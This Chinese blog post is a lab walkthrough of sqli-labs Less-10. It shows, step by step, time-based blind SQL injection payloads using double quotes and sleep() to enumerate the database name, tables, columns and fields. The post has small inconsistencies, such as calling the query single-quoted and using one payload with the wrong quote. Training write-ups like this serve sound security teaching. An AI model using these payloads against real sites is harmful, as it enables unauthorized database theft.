网络安全]sqli-labs Less-10 解题详析

[网络安全]Less-9 GET - Blind - Time based. - Double Quotes:基于双引号的时间盲注

Less-10与Less-9相似,只不过注入方式发生了变化,为双引号注入。

详情参考:[网络安全]SQL盲注?这一篇就够了

原理及姿势可参考:[网络安全]SQL注入原理及常见攻击方法简析

判断注入类型

输入

?id=1" and sleep(5) --+

发现时间延迟

输入

?id=1 and sleep(5) --+

时间并未延迟,说明没有闭合双引号会导致语句错误

因此后端为单引号字符型查询


后面的操作与Less-9基本一致

查库名

判断数据库名称长度

?id=1" and if(length(database())=8,sleep(5),1) --+

回显延迟,说明数据库名长度为8

判断数据库名称组成

判断第一个字符,输入

?id=1" and if(ascii(substr(database(),1,1))>90,sleep(5),1) --+

页面延迟明显,说明第一个字符的ASCII值大于90

输入

1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+

页面延迟明显,说明第一个字符为 s

同理得到数据库名为security


查表名

判断表个数

输入

?id=1" and if((select count(table_name) from information_schema.tables where table_schema=database())=4,sleep(5),1) --+

页面延迟明显,说明表个数为 4

获取第一个表名称长度:

输入

?id=1" and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(5),1) --+

延迟明显,说明第一个表名称长度为 6

获取表名称组成

以第一个表的名称组成为例:
输入以下语句即可获得第一个表名称的第一个字符:

?id=1" and (select ascii(substr(table_name, 1, 1)) from information_schema.tables where table_schema = 'security' limit 1) >= 100 and sleep(5) --+

页面延迟明显,说明第一个字符的ASCII值大于等于100

?id=1" and (select ascii(substr(table_name, 1, 1)) from information_schema.tables where table_schema = 'security' limit 1) = 101 and sleep(5) --+

延迟明显,说明第一个表名称的第一个字符为 e

最终得到第一个表名称为emails


查列名

获取列数

?id=1" and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name= 'emails')=2,sleep(5),1) --+ 

延迟明显,说明列数为 2

获取列名长度

获取第一列名称长度

?id=1" and if(length(substr((select column_name from information_schema.columns where table_name= 'emails' limit 0,1),1))=2,sleep(5),1) --+

延迟明显,说明第一列名称长度为 2

获取列名字符组成

获取第一个列名的第一个字符

?id=1" and if((select ascii(substr(column_name, 1, 1)) from information_schema.columns where table_name = 'emails' limit 0,1) =105, sleep(5), 1) --+

延迟明显,说明第一个列名的第一个字符为i


查字段

获取 xx 列的第一个字段的第一个字符

?id=1" and if((select ascii(substring(column_name, 1, 1)) from information_schema.columns where table_name = 'emails' limit 0,1)判断表达式, sleep(5), 1) --+

同理,即可查出所有字段内容。


总结

以上为[网络安全]sqli-labs Less-10 解题详析,后续将分享[网络安全]sqli-labs Less-11 解题详析

我是秋说,我们下次见。

猜你喜欢

转载自blog.csdn.net/2301_77485708/article/details/131734497